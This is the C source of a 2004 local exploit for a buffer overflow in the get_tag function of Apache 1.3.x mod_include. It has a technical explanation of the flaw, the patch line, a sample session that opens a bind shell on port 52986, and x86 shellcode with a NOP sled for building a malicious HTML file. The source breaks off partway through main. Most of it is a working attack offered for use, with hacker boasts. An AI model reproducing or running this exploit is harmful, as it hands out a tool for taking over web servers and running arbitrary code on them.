/********************************************************************************* local exploit for mod_include of apache 1.3.x * written by xCrZx /18.10.2004/ * bug found by xCrZx /18.10.2004/ * * y0das old shao lin techniq ownz u :) remember my words * http://lbyte.ru/16-masta_killa-16-mastakilla-mad.mp3 * * Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike) * *********************************************************************************/ /********************************************************************************* Technical Details: * * there is an overflow in get_tag function: * * static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode) * { * ... * term = c; * while (1) { * GET_CHAR(in, c, NULL, p); * [1] if (t - tag == tagbuf_len) { * *t = '\0'; * return NULL; * } * // Want to accept \" as a valid character within a string. // * if (c == '\\') { * [2] *(t++) = c; // Add backslash // * GET_CHAR(in, c, NULL, p); * if (c == term) { // Only if // * [3] *(--t) = c; // Replace backslash ONLY for terminator // * } * } * else if (c == term) { * break; * } * [4] *(t++) = c; * } * *t = '\0'; * ... * * as we can see there is a [1] check to determine the end of tag buffer * but this check can be skiped when [2] & [4] conditions will be occured * at the same time without [3] condition. * * So attacker can create malicious file to overflow static buffer, on * which tag points out and execute arbitrary code with privilegies of * httpd child process. * * Fix: * [1*] if (t - tag >= tagbuf_len-1) { * * Notes: To activate mod_include you need write "XBitHack on" in httpd.conf * * *********************************************************************************/ /********************************************************************************* Example of work: * * [root@blacksand htdocs]# make 85mod_include * cc 85mod_include.c -o 85mod_include * [root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html * [root@blacksand htdocs]# chmod +x evil.html * [root@blacksand htdocs]# netstat -na|grep 52986 * [root@blacksand htdocs]# telnet localhost 8080 * Trying 127.0.0.1... * Connected to localhost. * Escape character is '^]'. * GET /evil.html HTTP/1.0 * ^] * telnet> q * Connection closed. * [root@blacksand htdocs]# netstat -na|grep 52986 * tcp 0 0 0.0.0.0:52986 0.0.0.0:* LISTEN * [root@blacksand htdocs]# * *********************************************************************************/ /********************************************************************************* Notes: ha1fsatan - ti 4elovek-kakashka :))) be co0l as always * *********************************************************************************/ /********************************************************************************* Personal hello to my parents :) * *********************************************************************************/ /********************************************************************************* Public shoutz to: m00 security, ech0 :), LByte, 0xbadc0ded and otherz * *********************************************************************************/ #include #include #include #define EVILBUF 8202 #define HTMLTEXT 1000 #define HTML_FORMAT "\n\nxCrZx 0wn U\n" #define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by xCrZx /18.10.2004/ ***\n" int main(int argc, char **argv) { char html[EVILBUF+HTMLTEXT]; char evilbuf[EVILBUF+1]; //can be changed char shellcode[] = // bind shell on 52986 port "\x31\xc0" "\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43" "\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89" "\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0" "\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68" "\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51" "\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; //execve /tmp/sh <- your own program /* "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/tmp/sh"; */ char NOP[] = "\x90\x40"; // special nops ;) char evilpad[] = "\\CRZCRZCRZCRZC"; // trick ;) int padding,xpad=0; int i,fd; long ret=0xbfff8688; if(argc>1) ret=strtoul(argv[1],0,16); else { fprintf(stderr,AUTHOR"\nUsage: %s > file.html\n\n",argv[0]);exit(0); } padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2); while(1) { if(padding%2==0) { padding/=2; break;} else {padding--;xpad++;} } memset(html,0x0,sizeof html); memset(evilbuf,0x0,sizeof evilbuf); for(i=0;i
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